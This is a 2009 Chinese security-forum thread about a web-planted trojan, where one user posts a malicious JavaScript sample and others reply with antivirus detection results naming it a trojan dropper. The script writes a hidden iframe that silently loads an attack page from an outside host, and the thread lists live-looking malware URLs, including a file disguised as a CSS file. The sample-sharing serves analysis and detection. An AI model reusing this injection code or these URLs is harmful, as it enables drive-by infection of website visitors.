挂马病毒

dayang1717

http://722.pqpq.net/images.js

function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=risb;expires="+ Then.toGMTString()
document.write("<div style=\"display:none\">");
document.write ('<script language="javascript" type="text/javascript" src="http://js.users.51.la/2706947.js"></script>');
document.writeln("<iframe width=100 height=0 src=http:\/\/sdfsdg.3322.org:338\/b049781\/b04.htm><\/iframe>");
}
}Get();

http://sdfsdg.3322.org:338/b049781/new.html
http://c0jm.com:333/neww/ms.css


[url=http://c0jm.com:333/neww/ms.css][/url]

Elcondorposa

avira
'TR/Downloader.Gen [trojan]'

Palkia

病毒        2009-06-18  18:40:24        F:\DL\ms.rar\ms.css        Win32.Troj.USP10.82320 (木马程序)        跳过，未处理

dreams521

BING126

McAfee    Generic Rootkit.g

眼镜王蛇

江民MISS

黑衣~魂

TO DW

Love=卡巴+费尔

aerbeisi

IKARUS - T3SCAN V1.32.10.0 (WIN32)
         T3 V1.01.59
         Copyright (c) 2006 - 2009 by Ikarus Software.
         All rights reserved.

Signature-database from 18.6.2009 17:01:32 (Build: 72888)

e:\ms.rar:ms.css - Signature 'Trojan-Dropper.Win32.Fatsee' found
e:\ms.rar - Signature 'Trojan-Dropper.Win32.Fatsee' found

        2 Files scanned
          (1 Archiv with 1 file)
        2 Signatures found
        0 Suspect code-parts found
        Used time: 0:00.219

aerbeisi

TrojanDropper:Win32/Fatsee.A

containerfile:E:\ms.rar
file:E:\ms.rar->ms.css->(UPX)